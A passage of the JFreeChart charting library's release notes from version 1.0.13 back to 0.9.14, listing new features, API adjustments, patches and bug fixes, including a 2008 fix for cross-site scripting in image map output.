- cached `minY` and `maxY` in `TimeSeries.createCopy()`;
- scaling issues for charts copied to the clipboard;
- use of timezone in `TimeTableXYDataset` constructor;
- duplicate series names in `XYSeriesCollection`;
- `HistogramDataset` fires a change event in `addSeries()`;
- check visibility of main chart title before drawing it;
- fixed serialization of `PowerFunction2D`, `NormalDistributionFunction2D`, and `LineFunction2D`;
- item label positioning for the `AreaRenderer` class when the plot has an horizontal orientation.
##### Version 1.0.13 (17-Apr-2009)
> SPECIAL NOTICE: There will be a birds-of-a-feather session for JFreeChart at this year's JavaOne conference in San Francisco. The session is scheduled for 6.45pm to 7.35pm on Wednesday 3 June.
This release contains:
- updates to the `ChartPanel` class to support copying charts to the clipboard,
panning and mouse-wheel zooming, and an overlay mechanism that supports
crosshairs;
- enhancements to the auto-range calculation for axes, providing the ability
to use subranges only and also to skip hidden series;
- updates for many of the `CategoryItemRenderer` implementations to ensure that
they respect the `seriesVisible` flags;
- an improvement to the `TimeSeries` class so that it is no longer necessary to
specify the time period type in the constructor;
- a new `SamplingXYLineRenderer` for improving the performance of time series
charts with large datasets;
- the `XYSeries/XYSeriesCollection` classes now cache the minimum and maximum
data values to improve the performance of charts with large datasets;
- entities are now created for the chart, data area and axes, allowing mouse
clicks to be detected for these regions;
- added a bar alignment factor to the `XYBarRenderer` class;
- a new `errorIndicatorStroke` field for the `StatisticalLineAndShapeRenderer` and `XYErrorRenderer` classes;
- added a new `HeatMapDataset` interface, `DefaultHeatMapDataset` implementation,
and a `HeatMapUtilities` class to make it easier to create heat map charts;
- there is a new flag to allow an `XYDataImageAnnotation` to be included in the
automatic range calculation for the axes;
- additional attributes in the `XYTextAnnotation` class;
- added a `sampleFunction2DToSeries()` method to the `DatasetUtilities` class;
- some changes to the `ChartPanel` class that help to work around a regression in
JRE 1.6.0_10 relating to drawing in XOR mode. Regarding this final point:
* the default value for the `useBuffer` flag has changed to true, which means
that all charts will, by default, be rendered into an off-screen image
before being displayed in the `ChartPanel`;
* the zoom rectangle is drawn using XOR mode *only* when the `useBuffer`
flag has been set to false.
For most usage, this should improve performance (but at the cost of using more
memory for each `ChartPanel` used in your application);
###### Bug Fixes
- 2690293 : Problem with Javascript escape characters;
- 2617557 : `StandardDialScale` ignored `tickLabelPaint`;
- 2612649 : `Stroke` selection in plot property editor;
- 2583891 : `SWTGraphics2D.fillPolygon()` not implemented;
- 2564636 : `Month` constructor ignores Locale;
- 2502355 : `ChartPanel` sending multiple events;
- 2490803 : `PeriodAxis.setRange()` method doesn't take into account that the axis
displays whole periods;
In addition, a bug in the `SlidingCategoryDataset` class has been fixed, the
correct outline paint is now used by `GradientXYBarPainter`, a new method
has been added to the `ImageMapUtilities` class to escape special characters
in Javascript strings to avoid problems with the OverLIB and DynamicDrive
tooltips, and there are some important fixes in the `LogAxis` class.
This release passes 2110 JUnit tests (0 failures) on JRE 1.6.0_12.
##### Version 1.0.12 (31-Dec-2008)
This release adds
- support for minor tick marks;
- mapping datasets to more than one axis;
- an important fix for the `XYSeries` class (relating to the `addOrUpdate()` method);
- plus numerous other bug fixes.
This release passes 1996 JUnit test (0 failures) on JRE 1.6.0_10.
###### API Adjustments
- `CategoryPlot` : added `mapDatasetToDomainAxes()` and `mapDatasetToRangeAxes()` methods;
- `Month` : added a new constructor `Month(Date, TimeZone, Locale)` and deprecated `Month(Date, TimeZone)`;
- `Quarter` : added a new constructor `Quarter(Date, TimeZone, Locale)` and deprecated `Quarter(Date, TimeZone)`;
- `XYPlot` : added `mapDatasetToDomainAxes()` and `mapDatasetToRangeAxes()` methods;
- `Year` : added a new constructor `Year(Date, TimeZone, Locale)` and deprecated `Year(Date, TimeZone)`;
###### Bug Fixes
- 2471906 : `XYAreaRenderer` with dashed outline - performance problem;
- 2452078 : `StackedAreaChart` has gaps;
- 2275695 : `NullPointerException` for `SubCategoryAxis` on plot with null dataset;
- 2221495 : `XYLineAnnotation` with dashed stroke;
- 2216511 : `SWTBarChartDemo1` throws `RuntimeException`;
- 2201869 : `DateAxis` tick label position error;
- 2121818 : Label link lines for very thin `RingPlot`;
- 2113627 : `XYStepRenderer` item labels;
- 1955483 : `XYSeries.addOrUpdate()` problem.
Also fixed `StackedXYBarRenderer` which was ignoring the `shadowsVisible` attribute.
##### Version 1.0.11 (18-Sep-2008)
This release features:
- a new chart theming mechanism to allow charts to be restyled conveniently;
- a new `BarPainter` mechanism to enhance the appearance of bar charts;
- a new `XYShapeRenderer` class;
- a scaling facility for the `XYDrawableAnnotation` for drawing images within specific data coordinates;
- some new classes (`XYTaskDataset`, `XYDataImageAnnotation` and `XYTitleAnnotation`);
- a modification to the `Year` class to support an extended range;
- various bug fixes and API improvements.
There is an important bug fix for the `StackedBarRenderer3D` class (see bug 2031407).
This release passes 1,961 JUnit tests (0 failures) on JRE 1.6.0_07.
###### API Adjustments
- `AbstractRenderer` - added `clearSeriesPaints()` and `clearSeriesStrokes()` methods;
- `BarRenderer` - added `shadowPaint` attribute;
- `CategoryAxis` - added `getCategoryMiddle()` method;
- `CategoryPlot` - added `getRendererCount()` method;
- `ChartFactory` - added `get/setChartTheme()` methods;
- `ChartPanel` - increased default maximum drawing width and height;
- `ChartTheme` - new interface;
- `ChartUtilities` - added `applyCurrentTheme()` method;
- `CompositeTitle` - added `backgroundPaint` attribute;
- `GradientBarPainter` - new class;
- `LegendTitle` - added `getWrapper()` method;
- `OHLCSeriesCollection` - added `xPosition` attribute;
- `PaintScaleLegend` - new subdivisions field;
- `PiePlot` - added `autoPopulate` flags, and methods to clear section attributes;
- `Plot` - added `setDrawingSupplier()` method;
- `RegularTimePeriod` - the `DEFAULT_TIME_ZONE` field has been deprecated in this release;
- `RelativeDateFormat` - added methods to control formatting of hours and minutes - see patch 2033092;
- `StandardChartTheme` - new class;
- `XYItemRendererState` - new methods;
- `XYPlot` - added `getRendererCount()` method;
- `XYShapeRenderer` - new class;
- `XYTaskDataset` - new class.
###### Patches
- 1997549 : Status calls to `XYItemRendererState` [Ulrich Voigt];
- 2006826 : `CompositeTitle` drawing fix;
- 2033092 : Additional formatters for `RelativeDateFormat` [Cole Markham];
###### Bug Fixes
- 1994355 : `ChartComposite` listener type;
- 2031407 : Incorrect rendering in `StackedBarRenderer3D`;
- 2033721 : `WaferMapRenderer`;
- 2051168 : No key in `LegendItemEntity` for pie charts;
Also fixed drawing of alternate grid bands in `SymbolAxis`, the `totalWeight`
calculation in the `CombinedXXXPlot` classes, a `NullPointerException` in the
`XYPlot` class when drawing quadrants, outline visibility in the
`CategoryPlot` class, and auto-range calculations with `XYBarRenderer`.
##### Version 1.0.10 (8-Jun-2008)
This release contains various bug fixes and minor enhancements to JFreeChart.
- PiePlot labelling has been enhanced (new curve options, and more robust bounds checking);
- The BoxAndWhiskerRenderer now has a maximumBarWidth attribute;
- the XYStepRenderer has a new stepPoint attribute;
- The RelativeDateFormat class has new options;
- There are new dataset classes (SlidingCategoryDataset and SlidingGanttDataset) that permit a subset of categories to be plotted, and allow charts based on these datasets to simulate scrolling.
- There is a new ShortTextTitle class.
This release passes 1,929 JUnit tests (0 failures) on JRE 1.6.0_03.
###### API Adjustments:
- BoxAndWhiskerRenderer - added maximumBarWidth attribute (see patch 1866446);
- ChartPanel - the zoomPoint attribute has been changed from Point to Point2D;
- DatasetUtilities - iterateCategoryRangeBounds() is deprecated, the method has been renamed iterateRangeBounds(CategoryDataset) for consistency;
- DefaultKeyedValue - the constructor now prevents a null key;
- LogFormat - now has a 'powerLabel' attribute;
- ShortTextTitle - a new title class;
- SlidingCategoryDataset - new class;
- SlidingGanttDataset - new class;
- TimeSeriesCollection - getSeries(String) changed to getSeries(Comparable);
- XIntervalSeriesCollection - added series removal methods;
- YIntervalSeriesCollection - added series removal methods;
- XYIntervalSeriesCollection - added series removal methods;
`PublicCloneable` is now implemented by a number of classes that didn't previously implement the interface - this should improve the reliability of chart cloning.
###### Patches
- 1943021 : Fix for MultiplePiePlot [Brian Cabana];
- 1925366 : Speed improvement for DatasetUtilities [Rafal Skalny];
- 1918209 : LogAxis createTickLabel() changed from private to protected [Andrew Mickish];
- 1914411 : Simplification of plot event notification [Richard West];
- 1913751 : XYPlot and CategoryPlot addMarker() methods with optional notification [Richard West];
- 1902418 : Bug fix for LogAxis vertical labels [Andrew Mickish];
- 1901599 : Fixes for XYTitleAnnotation [Andrew Mickish];
- 1891849 : New curve option for pie chart label links [Martin Hilpert];
- 1874890 : Added step point to XYStepRenderer [Ulrich Voigt];
- 1873328 : Enhancements to RelativeDateFormat [Michael Siemer];
- 1871902 : PolarPlot now has angleTickUnit attribute [Martin Hoeller];
- 1868745 : Fix label anchor points on LogAxis [Andrew Mickish];
- 1866446 : Added maximumBarWidth to BoxAndWhiskerRenderer [Rob Van der Sanden];
###### Bug Fixes
- 1932146 - PeriodAxis.setRange() doesn't notify listeners;
- 1927239 - Fix calculation of cumulative range;
- 1926517 - Bugs in data range calculation for combined plots;
- 1920854 - PiePlot3D labels drawn multiple times;
- 1897580 - Fix for DefaultIntervalCategoryDataset;
- 1892419 - Wrong default for minor tick count in LogAxis;
- 1880114 - VectorRenderer doesn't work for horizontal plot orientation;
- 1873160 - DialPlot clipping issues;
- 1868521 - Problem saving charts to JPEG format;
- 1864222 - Error on TimeSeries createCopy() method;
The `DatasetUtilities.sampleFunction2D()` has been changed to sample the correct
number of points - you should check any code that calls this method. The
`XYBlockRenderer` class now generates entities. Bugs in the `removeDomainMarker()`
and `removeRangeMarker()` methods in the `CategoryPlot` and `XYPlot` classes have
been fixed. A bug in the `TimePeriodValues` range calculation has been fixed.
Fixes were applied to the `clone()` methods in the `TaskSeries` and
`TaskSeriesCollection` classes.
###### New Experimental Features
Two new classes `CombinedCategoryPlot` and `CombinedXYPlot` have been added to the
'experimental' source tree - these were contributed by Richard West (see
patch 1924543).
##### Version 1.0.9 (4-Jan-2008)
This release contains an important security patch as well as various bug fixes
and minor enhancements. Regarding the security patch, please see the
following advisory:
http://www.rapid7.com/advisories/R7-0031.jsp
Note that the fix incorporated in the special JFreeChart 1.0.8a release was
flawed in that it broke the URLs in the HTML image maps generated by
JFreeChart. Further amendments have been made in this release to fix this
problem.
###### API Adjustments
A number of classes have new methods. Nothing has been removed or deprecated:
- HashUtilities - added hashCode() methods for BooleanList, PaintList and StrokeList;
- ImageMapUtilities - added htmlEscape(String);
- IntervalMarker - added new constructor;
- Range - added intersects(Range) and scale(Range, double);
- TextTitle - added protected methods arrangeNN(), arrangeFN() and arrangeRN();
- XYDataItem - added getXValue() and getYValue() methods;
- XYPlot - added setFixedDomainAxisSpace(AxisSpace, boolean) and setFixedRangeAxisSpace(AxisSpace, boolean);
- XYSeriesCollection - added getSeries(Comparable) method.
###### Bug Fixes
- 1852525 - CandlestickChart.getCategoryPlot() - ClassCastException;
- 1851416 - testGetFirstMillisecondWithTimeZone fails in 1.0.8a;
- 1849333 - 1.0.8a breaks URLs in HTML image maps;
- 1848961 - GroupedStackedBarRenderer works only for primary dataset;
- 1846063 - Endless loop in paint of XYPlot;
- 1840139 - Cross-site scripting vulnerabilities in image map code;
- 1837979 - Background image not shown with SWT;
- 1460195 - ChartEntity.getImageMapAreaTag() needs nohref;
- 1400917 - OverLIBToolTipTagFragmentGenerator not escaping single quote;
- 1363043 - Escape Image Map Data;
- 1178601 - AbstractRenderer.hashcode() method returns the same value;
In addition, a bug in the constructor for the Week class has been fixed.
##### Version 1.0.8 (23-Nov-2007)
This release is primarily a bug fix release:
- a problem with pie chart labeling;
- a regression in the `DefaultCategoryDataset` class (and underlying `KeyedValues2D` class);
- a cloning bug in the `TimeSeries` class.
In addition:
- the `StatisticalBarRenderer` class has a new `errorIndicatorStroke` field and has been updated to support gradients;
- the `StandardDialScale` has had some missing accessor methods implemented;
- an override field in the `StandardXYItemRenderer` class has been deprecated;
- some warnings reported by FindBugs 1.3.0 have been addressed.
##### Version 1.0.7 (14-Nov-2007)
This release features
- new classes `DialPlot` and `LogAxis` (previously in experimental);
- initial support for minor tick units;
- a new anchored zooming option for the `ChartPanel` class;
- optional simple labeling on pie charts;
- improvements to the "statistical" datasets and underlying data structures;
- and numerous bug fixes.
###### API Adjustments
- `CategoryAxis` - added `getCategorySeriesMiddle()` method;
- `CategoryPlot` - added methods to remove markers;
- `ChartPanel` - added `defaultDirectoryForSaveAs` attribute;
- `DialPlot` - new class, an alternative to `MeterPlot`;
- `LogAxis` - new class, an alternative to `LogarithmicAxis`;
- `NumberTick` - new constructor that allows specification of the tick type;
- `NumberTickUnit` - new constructor to specify the minor tick count;
- `SymbolAxis` - new methods `get/setGridBandAlternatePaint()`;
- `TickType` - new class;
- `TickUnit` - added `minorTickCount` attribute;
- `ValueTick` - added `tickType` attribute;
- `StandardPieSectionLabelGenerator` - new constructors accepting a Locale;
- `StandardPieToolTipGenerator` - likewise;
- `CategoryPlot` - added `getRangeAxisIndex()`, `zoomDomainAxes()` and `zoomRangeAxes()` methods;
- `FastScatterPlot` - added new zooming methods;
- `PiePlot` - new attributes to support simple labeling;
- `PlotUtilities` - new class;
- `PolarPlot` - added new zooming methods;
- `ThermometerPlot` - likewise;
- `XYPlot` - added methods to remove markers (patch 1823697--same as for `CategoryPlot`), and added new zooming methods;
- `Zoomable` - added new zooming methods to this interface;
- `LineAndShapeRenderer` - added `useSeriesOffset` and `itemMargin` attributes;
- `MinMaxCategoryRenderer` - implemented `equals()`;
- `XYSplineAndShapeRenderer` - new class;
- `LogFormat` - new class;
- `ChartFactory` - new pie and ring chart creation methods that accept a `Locale`;
- `ChartPanel` - added `zoomAroundAnchor` attribute;
- `Series` - added `isEmpty()` method;
- `BoxAndWhiskerItem` - new convenience constructor;
- `DefaultBoxAndWhiskerCategoryDataset` - new remove methods;
- `DefaultStatisticalCategoryDataset` - likewise;
- `MeanAndStandardDeviation` - added new value accessor methods;
- `TimeTableXYDataset` - added `clear()` method;
- `Week` - added new constructor;
- `KeyedObjects` - added `insertValue()` and `clear()` methods;
- `KeyedObjects2D` - added `clear()` method.
###### Patches
- 1823724 - updated `XYDifferenceRenderer` to support item labels;
- 1827829 - fixed possible `NullPointerException` in `XYBarRenderer`;
###### Bug Fixes
- 1767315 - `GrayPaintScale.getPaint()` uses wrong value;
- 1775452 - Inverted `XYBarRenderer` does not render margins correctly;
- 1802195 - `Marker.listenerList` serializable;
- 1779941 - `StatisticalBarRenderer` NPE;
- 1766646 - `XYBlockRenderer` can't handle empty datasets;
- 1763413 - `PeriodAxis` labels fail to display with setInverted;
- 1737953 - Zoom doesn't work on `LogAxis` (Demo1);
- 1749124 - `JFreeChart` not added as `TitleChangeListener`;
##### Version 1.0.6 (15-Jun-2007)
This release features:
- a new `VectorRenderer` (previously in experimental);
- a generalised `XYDifferenceRenderer`;
- better support for hotspots on legend items;
- improved performance for time series charts displaying subsets of data;
- support for `GradientPaint` in plot backgrounds;
- plus the usual slew of bug fixes and minor feature additions.
###### API Adjustments
- `CategoryItemEntity` - replaced row and column index attributes with row and column key attributes;
- `CategoryItemRenderer` - numerous series override settings have been deprecated;
- `DefaultPieDataset` - added `insertValues()` method;
- `HexNumberFormat` - new class;
- `LegendItem` - added dataset and seriesKey attributes;
- `Plot` - added new `fillBackground()` method to support `GradientPaint`, and added `is/setOutlineVisible()` methods;
- `QuarterDateFormat` - added `GREEK_QUARTERS` field plus a new constructor;
- `SimpleHistogramDataset` - added `clearObservations()` and `removeAllBins()` methods;
- `TimeSeriesCollection` - added `indexOf()` method;
- `URLUtilities` - new class;
- `XYItemRenderer` - numerous series override settings have been deprecated;
- `XYSeriesCollection` - added indexOf() method.
###### Bug Fixes
- 1735508 - `ClusteredXYBarRenderer` fails with inverted x-axis;
- 1726404 - `ChartComposite` tooltips;
- 1713474 - `StackedBarRenderer3D` doesn't fill shadows;
- 1713401 - `StackedBarRenderer3D` doesn't check `drawBarOutline` flag;
- 1701822 - `DefaultBoxAndWhiskerCategoryDataset` doesn't follow contracts;
- 1698965 - NPE in `CombinedDomainXYPlot`;
- 1690994 - `HideSeriesDemo1` does not work;
- 1690654 - Bug in `removeValue()` of `DefaultKeyedValues2D`;
- 1562701 - `LegendItemEntity` needs dataset index;
- 1486299 - Use `URLEncoder.encode()` for URL generators;
Plus the following bugs that didn't have entries in the database:
- `BarRenderer` - check for series visibility in `getLegendItem()`;
- `ChartPanel` - use correct insets for painting chart buffer to screen, update UI for popup menu if LookAndFeel changes;
- `DateAxis` - fixed boundary cases for `previousStandardDate()` method;
- `LineBorder` - only draw border if area has positive dimensions;
- `JFreeChart` - should register as a listener with the default legend;
- `StandardXYItemRenderer` - fixed a problem where chart entities are created for non-visible items;
- `TimePeriodValuesCollection.getDomainBounds()` now computes the bounds correctly;
- `XYLineAndShapeRenderer` - fixed a problem where chart entities are created for non-visible items;
- `XYLine3DRenderer` - `equals()` implemented, and serialization fixed;
- `XYTitleAnnotation` - fixed `equals()` method;
- various resource usage bugs in the experimental `ChartComposite` class;
##### Version 1.0.5 (23-Mar-2007)
This release features:
- a new `DeviationRenderer` class;
- support for item labels in `StackedXYBarRenderer`;
- tooltips and URLs in the `CategoryStepRenderer`; and
- many bug fixes.
###### API Adjustments
- `AbstractCategoryItemRenderer` - added `createState()` method;
- `StackedXYBarRenderer` - added `get/setRenderAsPercentages()` methods;
- `XYIntervalSeries` - added `getXLowValue()`, `getXHighValue()`, `getYLowValue()` and `getYHighValue()`;
- `YIntervalSeries` - added `getYLowValue()` and `getYHighValue()` methods;
###### Bug Fixes
- 1681777 - `DefaultCategoryDataset` does not clone data;
- 1672552 - Zoom rectangle is lost when the chart is repainted;
- 1671645 - `Crosshair` incorrectly positioned in horizontal orientation;
- 1669302 - Tick labels in vertical symbol axis;
- 1669218 - `CategoryPlot.setDomainAxisLocation()` ignores parameter;
- 1667750 - Clip region not restored in `Spider` and `MeterPlot`;
- 1663380 - OutputStream not closed;
- 1659627 - `IntervalMarker` with `Double.POSITIVE_INFINITY` bound;
- 1647269 - `IntervalMarker` with `Double.MAX_VALUE as upper` bound;
- 1594477 - `XYBarRenderer` does not render bars on `LogarithmicAxis`;
- 1459958 - Log axis zoom function problem;
- 880597 - Zooming `ChartPanel` with log axes;
- 764561 - Dynamic chart zoom buggy.
Also fixed numerous bugs in equals(), cloning and serialization implementations.
##### Version 1.0.4 (9-Feb-2007)
This release features:
- a new `XYBlockRenderer` class;
- URLs for pie chart labels in HTML image maps;
- a new dataset implementation for open-high-low-close charts;
- support for gradient paint in `ClusteredXYBarRenderer`, `StackedXYBarRenderer` and legend graphics;
- a new anchor attribute for `XYImageAnnotation`;
- improvements to the experimental SWT support; plus
- a number of additions to the API for usability; and
- many bug fixes.
###### API Adjustments
- `DateAxis` - added `get/setTimeZone()` methods;
- `DefaultXYDataset` - now implements `PublicCloneable`;
- `StackedXYAreaRenderer2` - added `get/setRoundXValues()` methods;
- `StandardXYItemLabelGenerator` - added new constructor;
- `StandardXYToolTipGenerator` - added new constructor;
- `XYBarDataset` - added `getUnderlyingDataset()` and `get/setBarWidth()` methods;
- `XYDifferenceRenderer` - added `roundXCoordinates` attribute;
- `XYImageAnnotation` - added an image anchor attribute, a new constructor, and several accessor methods;
- `XYSeries` - added `toArray()` method;
###### Bug Fixes
- 1654215 - `XYPlot` renderer with no corresponding dataset;
- 1652640 - `RangeMarkers` do not update properly;
- 1649686 - `Crosshairs` for `StackedXYAreaRenderer`;
- 1647749 - `IllegalArgumentException` in `SWTAxisEditor`;
- 1644877 - Replacing series data in `DefaultXYDataset`;
- 1644010 - `DateAxis.nextStandardDate()` ignores timezone;
- 1638678 - `DateAxis` code uses the default calendar;
- 1629382 - Tests fail for jfreechart-1.0.3;
- 1624067 - `StandardXYToolTipGenerator` missing constructor;
- 1616583 - Serialize `ChartDeleter`;
- 1612770 - Popup menu in wrong position for SWT `ChartComposite`;
- 1611872 - `Minute.previous()` returns null for minute == 0;
- 1608371 - Tick labels overlap with custom `NumberFormat`;
- 1606205 - Draw shared axis last on combined plots;
- 1605207 - `IntervalMarker` exceeds bounds of data area;
- 1605202 - `SpiderWebPlot` method access;
- 1599652 - Inverted `StackedBar3D` problem;
- 1598394 - `XYBarDataset` hiding its proxied object;
- 1564967 - Crosshairs on `XYDifferenceRenderer`;
- 1245305 - `NullPointerException` in `writeImageMap()`;
- 1086307 - Crosshairs on plots with multiple axes.
Also fixed numerous bugs in `equals()` and `clone()` methods throughout the API.
##### Version 1.0.3 (17-Nov-2006)
This release features:
- several new `IntervalXYDataset` implementations;
- some significant refactoring of the time period classes (to improve performance and correctness);
- modifications to the `PiePlot` class to support reordering of dataset items;
- a new event mechanism to allow updating of markers, plus
- many other enhancements, bug fixes and documentation updates.
A new `DialPlot` implementation has been added to the 'experimental' sources.
We are looking for people to test this code and provide feedback, so that we
can stabilize the API and add this code to the main JFreeChart API.
###### API adjustments
The following adjustments have been made to the API:
- `CategoryLabelEntity` - new class;
- `CategoryPointerAnnotation` - new class;
- `ChartPanel`: added new public method `doEditChartProperties()`;
- `ComparableObjectItem`, `ComparableObjectSeries` - new classes;
- `CrosshairState`: added several new accessor methods;
- `DefaultPieDataset`: added `sortByKeys()` and `sortByValues()` methods;
- `Markers`: a change event mechanism has been added to the `Marker` class and its subclasses;
- `StackedAreaRenderer`: added `get/setRenderAsPercentages()` methods;
- `XIntervalDataItem`, `XIntervalSeries` and `XIntervalSeriesCollection` - new classes;
- `XYErrorRenderer`: new class;
- `XYInterval`, `XYIntervalDataItem`, `XYIntervalSeries` and `XYIntervalSeriesCollection` - new classes;
- `YInterval`, `YIntervalDataItem`, `YIntervalSeries`, `YIntervalSeriesCollection` and `YWithXInterval` - new classes.
###### Bug Fixes
- 1578293 - Unused methods in `JDBCXYDataset`;
- 1572478 - `BoxAndWhiskerRenderer` potential `NullPointerException`;
- 1569094 - `XYStepRenderer` with horizontal orientation;
- 1565168 - Crosshair position incorrect;
- 1564977 - `DateAxis` missing initial tick label;
- 1562759 - `StatisticalLineAndShapeRenderer` constructor ignores arguments;
- 1557141 - Bad locale in `ServletUtilities`;
- 1550045 - `TimeSeries.removeAgedItems()` method problems;
- 1549218 - Chart not displaying when all data values are the same and large;
- 1450447 - `Marker.setAlpha()` ignored;
Also fixed URL generation for legend items, tick mark positioning on the
`DateAxis`, the `equals()` method in the `AreaRenderer` class, hardcoded outline
attributes in the `XYBubbleRenderer`, and potential `NullPointerExceptions` in the
`ChartPanel` class.
##### Version 1.0.2 (25-Aug-2006)
###### API adjustments
The following adjustments have been made to the API (there should be no breakage of applications coded to the 1.0.0 or 1.0.1 API):
- `CategoryToPieDataset`: added accessor methods for underlying dataset, extract type and index (feature request 1477915);
- `DefaultXYDataset`: New dataset implementation that uses double[] arrays;
- `DefaultXYZDataset`: New dataset implementation that uses double[] arrays;
- `LegendItemBlockContainer`: New container used in legends (enables legend item entities again);
- `MultiplePiePlot`: Added new fields `aggregatedItemsKey` and `aggregatedItemsPaint`, plus accessor methods - see bug 1190647;
- `SpiderWebPlot`: Added new fields `toolTipGenerator` and `urlGenerator`, plus accessor methods (see patch 1463455);
- `StackedBarRenderer3D`: Added new flag (`renderAsPercentages`), plus accessor methods, that controls whether the data items are displayed as values or percentages. Two new constructors are also added (see patch 1459313);
- `XYPolygonAnnotation`: Added new accessor methods.
###### Patches
- 1459313 - Add `renderAsPercentages` option to `StackedBarRenderer3D`;
- 1462727 - Modify `SpiderWebPlot` to support zero values;
- 1463455 - Modify `SpiderWebPlot` to support mouse clicks, tool tips and URLs;
###### Bug Fixes
- 1514904 - Background image alpha in `Plot` class;
- 1499140 - `ClusteredXYBarRenderer` with margin not drawing correctly;
- 1494936 - `LineAndShapeRenderer` generates entity for non-visible item;
- 1493199 - NPE drawing `SpiderWebPlot` with null info;
- 1480978 - `AbstractPieItemLabelGenerator.clone()` doesn't clone `percentFormat`;
- 1472942 - `DateAxis.equals()` broken;
- 1468794 - `StatisticalLineAndShapeRenderer` doesn't draw error bars correctly when the plot has a horizontal orientation;
- `AbstractCategoryItemRenderer` doesn't check `seriesVisibleInLegend` flag before creating new item;
- 1440415 - Bad distribution of pie chart section labels;
- 1440346 - Bad manifest entry for JCommon in JFreeChart jar file;
- 1435461 - `NumberAxis.equals()` ignores `rangeType` field;
- 1435160 - `XYPointerAnnotation.equals()` ignores x and y fields;
- 1398672 - `LegendItemEntities` not working;
- 1380480 - `StandardXYItemRenderer` problems with `Double.NaN`;
- 1190647 - Legend and section color mismatch for `MultiplePiePlot`.
###### Miscellaneous Changes
- Updated `CandlestickRenderer`, `CyclicXYItemRenderer`, `HighLowRenderer`, `XYStepAreaRenderer` and `TimeSeriesURLGenerator` to call dataset methods that return double primitive only;
- Updated `XYPolygonAnnotation`, adding new accessor methods and fixing problems in the `equals()/hashCode()` methods;
- `ChartFactory.createStackedXYAreaChart()` now uses `StackedXYAreaRenderer2`, for better handling of negative values;
- Added crosshair support for `XYBarRenderer`.
###### Experimental Code
In this release, some new (incomplete) classes have been included in the
`org.jfree.experimental.*` namespace. These classes are not part of the
standard API, but are included for developers to experiment with and provide
feedback on. Hopefully in the future, refined versions of these classes will
be incorporated into the main library. PLEASE NOTE THAT THE API FOR THESE
CLASSES IS SUBJECT TO CHANGE.
##### Version 1.0.1 (27-Jan-2006)
This is primarily a bug fix release. In addition, there are some API
adjustments (there should be no breakage of applications coded to the 1.0.0 API).
###### API adjustments
- `BarRenderer`: added a new flag (`includeBaseInRange`), plus accessor
methods, that controls whether or not the base value for the bar is
included in the range calculated by the `findRangeBounds()` method;
- `BubbleXYItemLabelGenerator`: new class;
- `Range`: added a new method `expandToInclude(Range, double)`, this is used by
the `BarRenderer` class;
- `TaskSeriesCollection`: added two new methods, `getSeries(int)` and
`getSeries(Comparable)`;
- `TimeSeriesCollection`: the `domainIsPointsInTime` flag has been deprecated.
The flag serves no function now that renderers are used to calculate the domain
bounds, so you can safely delete any calls to the `setDomainIsPointsInTime()`
method;
- `XYPlot`: added a new `getAnnotations()` method;
- `XYSeries`: the `update(int, Number)` method has been deprecated and a new
method `updateByIndex(int, Number)` has been added;
###### Bug fixes
- 1243050 - `XYBarRenderer` doesn't show entire range of values for a `TimeSeriesCollection`;
- 1373371 - `XYBubbleRenderer` doesn't support item labels;
- 1374222 - `BarRenderer` contains JDK 1.4 specific code;
- 1374328 - `LegendItem` serialization problem;
- 1377239 - Bad argument checking in `Quarter` constructor;
- 1379331 - Incorrect drawing of `TextTitle` at LEFT or RIGHT position;
- 1386328 - `RingPlot` entity incorrect;
- 1400442 - Inconsistent treatment of null and zero values in `PiePlot`;
- 1401856 - Bad rendering for non-zero base values in `BarRenderer`;
- 1403043 - `NullPointerException` in `CategoryAxis`;
- 1408904 - `NumberAxis3D` assumes `CategoryPlot`;
- 1415480 - `XYTextAnnotation` equals() method doesn't check (x, y);
##### Version 1.0.0 (2-Dec-2005)
- the first stable release of the JFreeChart class library, all future releases in the 1.0.x series will aim to maintain backward compatibility with this release;
##### Version 1.0.0-rc3 (28-Nov-2005)
- the third "release candidate" for version 1.0.0, this release fixes some issues with the 1.0.0-rc2 release (mainly concerning packaging of resource bundles for localisation).
- if no significant problems are reported in the next few days, the 1.0.0 "final" release will be posted on 2-Dec-2005.
##### Version 1.0.0-rc2 (25-Nov-2005)
- the second "release candidate" for version 1.0.0. If no problems are reported, 1.0.0 "final" will be released on 2-Dec-2005.
##### Version 1.0.0-rc1 (2-Jun-2005)
- this is a "release candidate" for version 1.0.0. If no significant API problems are reported, this release will be re-released as version 1.0.0.
##### Version 1.0.0-pre2 (10-Mar-2005)
##### Version 1.0.0-pre1 (29-Nov-2004)
##### Version 0.9.21 (9-Sep-2004)
- added new axes: `PeriodAxis` and `ModuloAxis`.
- split `org.jfree.data` and `org.jfree.chart.renderer` into subpackages for 'category' and 'xy' charts.
- Sun PNG encoder is now used, if available.
- a new demo application makes it easier to preview the chart types that JFreeChart can create.
- added a new series visibility flag to the `AbstractRenderer` class.
- added support for `GradientPaint` in interval markers.
##### Version 0.9.20 (7-Jun-2004)
- primarily bug fixes.
##### Version 0.9.19 (28-May-2004)
- added methods to `XYDataset` that return double primitives;
- removed distinction between "primary" and "secondary" datasets, renderers and axes;
- added fixed legend item options to `CategoryPlot` and `XYPlot`;
- legend changes by Barek Naveh;
- removed Log4j dependency;
- many, many bug fixes;
##### Version 0.9.18 (15-Apr-2004)
- new legend anchor options;
- fixed broken JPEG export;
- fixed title size problems;
- various other bug fixes;
##### Version 0.9.17 (26-Mar-2004)
- pie chart enhancements for labelling, shading and multiple pie charts (2D or 3D) on a single plot;
- new `PolarPlot` class added;
- `XYSeries` can now be sorted or unsorted;
- `createBufferedImage()` method can now scale charts;
- domain and range markers now support intervals;
- item labels are now supported by some `XYItemRenderers`;
- tooltip and item label generators now use `MessageFormat` class;
- added new `XYBarDataset` class;
- added transparency support to PNG export;
- numerous other small enhancements and bug fixes;
##### Version 0.9.16 (09-Jan-2004)
- this release contains bug fixes and some minor feature enhancements (title and category label wrapping, legend shape scaling, enhanced performance for the `DefaultTableXYDataset` class);
- added Spanish localisation files;
##### Version 0.9.15 (28-Nov-2003)
- the focus of this release is bug fixes - quite a number of issues have been resolved, please check the bug database for details;
- added a new Wafer Map chart type;
- added a cyclic axis;
- added localisation files for _ru;
##### Version 0.9.14 (17-Nov-2003)
- implemented zooming for the `FastScatterPlot` class;
- added item label support for stacked bar charts, and new fall back options for item labels that don't fit within bars;
- modified the `CategoryAxis` class to allow additional options for the alignment and rotation of category labels;
- addition of the `AxisState` class, used in the drawing of axes to eliminate a bug when multiple threads draw the same axis simultaneously;
- provided additional attributes in the `DateTickUnit` class to improve labelling on a segmented `DateAxis`;
- added support for `GradientPaint` in bar charts;
- updated the `PNGEncoder`;
- fixes for tick label positioning on axes;
- various Javadoc updates;
